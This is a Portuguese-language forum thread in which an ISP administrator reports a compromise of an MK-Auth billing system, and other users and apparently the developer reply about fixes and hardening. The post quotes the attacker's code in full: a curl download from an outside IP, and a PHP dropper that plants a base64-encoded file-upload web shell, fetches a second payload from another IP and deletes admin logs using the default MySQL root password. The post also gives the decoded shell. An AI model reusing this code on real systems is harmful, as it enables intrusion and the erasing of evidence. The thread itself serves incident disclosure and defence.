Sistema comprometido por alguma falha de segurança

Prezados,

Tivemos nosso MK-Auth comprometido por algum tipo de invasão, possivelmente por alguma falha de segurança com cross-site scripting (XSS), das que foram corrigidas na versão 20.01, uma vez que estamos usando a versão 18.02 (não foi atualizado devido a personalizações do sistema).

A VM onde roda o sistema tem o iptables permitindo somente acesso nas portas 80 e 443 no IP público e um drop geral de todo restante. Além disso, todo acesso interno é feito por IP interno com um overwrite no DNS e estranhamente o frame inserido usava o IP público para chamar a página, sendo que nem para acesso externo usamos esse IP público, o acesso é feito através de uma CDN. Mesmo assim ocorreu isso.

Ele inseriu um frame no rodapé, que executou no terminal o seguinte comando:

curl http://186.5.59.61/pnet/e.php -o /opt/mk-auth/boleto/exp.php

No arquivo exp.php, por sua vez, há o seguinte script:

<?php $p = '/opt/mk-auth/retorno/'; exec('mv '.$p.'index.php '.$p.'lndex.php'); $ro = "<?php eval(base64_decode('aWYoaXNzZXQoJF9HRVRbMV0pKSB7IGVjaG8gJzxmb3JtIGFjdGlvb
j0iIiBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9InVwIiBpZD0idXAiPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ6IiBzaXplPSI1MCI+PGlucHV0IG5hbWU9InciIHR5cGU
9InN1Ym1pdCIgaWQ9InciIHZhbHVlPSJ1Ij48L2Zvcm0+JzsgaWYoICRfUE9TVFsndyddID09ICJ1IiApIHsgY29weSgkX0ZJTEVTWyd6J11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ3onXVsnbmFtZSddKTsgfX0='));
?>"; $temp = $p.'index.php'; file_put_contents($temp, $ro); $pl = rand(); exec('curl http://198.50.246.132/pac/api/info.txt -o '.$p.$pl.'.php'); $link = mysql_connect
('localhost', 'root', 'vertrigo');if (!$link) {    die('n ' . mysql_error()); } $db_selected = mysql_select_db('mkradius', $link); if (!$db_selected) {    die ('n : '
. mysql_error()); } $res = mysql_query('delete from sis_logs where tipo = "admin"'); if (!$res) {    die('n ' . mysql_error()); } echo $pl; unlink('exp.php'); ?>

Esse base64, decodificado, tem o seguinte conteúdo:

if(isset($_GET[1])) { echo '<form action="" method="post" enctype="multipart/form-data" name="up" id="up"><input type="file" name="z" size="50"><input name="w" type="submit" id="w" value="u"></form>'; if( $_POST['w'] == "u" ) { copy($_FILES['z']['tmp_name'], $_FILES['z']['name']); }}

O MK-Auth de um parceiro também foi comprometido. Aparentemente não tiveram sucesso para sobrescrever o arquivo /opt/mk-auth/retorno/index.php devido a permissões do sistema de arquivos do Linux, mas o acesso ao banco de dados, apagando os logs, funcionou. Felizmente tenho backup diário da VM para restaurar.

Devo destacar que o uso de uma senha padrão e muito básica, "vertrigo", para o banco de dados de todas instalações, ao invés de gerar uma nova com devida atualização das configurações todos softwares que precisam desse acesso, além de ser muito fácil de implementar, seria imprescindível, uma vez que combinado a devidas permissões de acesso a arquivos do sistema (para não obter a senha dentro de alguma configuração), falhas na interface web ou outros componentes não afetariam a base de dados tão facilmente.

É um tipo de falha muito primária e noob, que embora tenha sido corrigida após anos aí, nunca deveria ter ocorrido e revela o nível de desenvolvimento do sistema, somada a falhas absurdas de meras operações matemáticas (ex.: na removação de produtos do financeiro do cliente para voltar para o estoque - tira 2, mas só volta 1 pro estoque, e até algum tempo atrás no valor base das NFs).

Vamos ter que atualizar para uma versão nova e ver quais bugs vamos encontrar e ter que contornar, além de migrar nossas personalizações, mas recomendo que todos o façam, porque ataques assim vão ser cada vez mais comuns depois que a falha se torna pública em bases de vulnerabilidades.

Para adicionar comentários, você deve ser membro de MK-AUTH.

Join MK-AUTH

Votos 0
Enviar-me um email quando as pessoas responderem –

Respostas

  • sim amigo, infelizmente é preocupante, mais mantem seu sistema atualizado e usa o cloudflare que vc fica mais seguro, cuidado com links que abre seu webadmin, não clica nesses links, sempre abra seu webadmin diretamente digitando a url completa no browser e ativa o google autenticador para os usuários do webadmin...

    gualter disse:

    a meses que acompanhano no forum alguns zum zum zum sobre essas tal falhas a pergunta é devemos nos preocupar ???

    usuarios que usam mkauth na nuvem ou em servidor local ?

  • a meses que acompanhano no forum alguns zum zum zum sobre essas tal falhas a pergunta é devemos nos preocupar ???

    usuarios que usam mkauth na nuvem ou em servidor local ?

  • já corrigir a falhas Tiago, sábado mesmo corrigir uma onde era enviado pelo header da API uma mensagem para o sistema que aparecia nos logs onde era solicitado para clicar no link e atualizar ( engenharia social ) ai ao clicar era criado pelo webterminal esse arquivo e.php amigo, então removi esse log da API, também já pensei ainda no inicio do sistema cerca de 13 anos atras em colocar para configurar a senha do mysql individual, só que não adiantaria muita coisa amigo, pq depois que o script ( como esse e.php ) está lá dentro ele pode ler os dados de configuração e pegar a senha do BD fácil, o pessoal aqui principalmente o Rodrigo tem ajudado relatando os ataques, então é assim Tiago, o sistema cresceu muito e está muito visado para ataques, por isso agora é bom manter o sistema atualizado o máximo possivel, tb é bom usar o cloud flare pois ele protege não apenas o sistema, mais tb outras falhas que possam aparecer no apache, linux e etc....

This reply was deleted.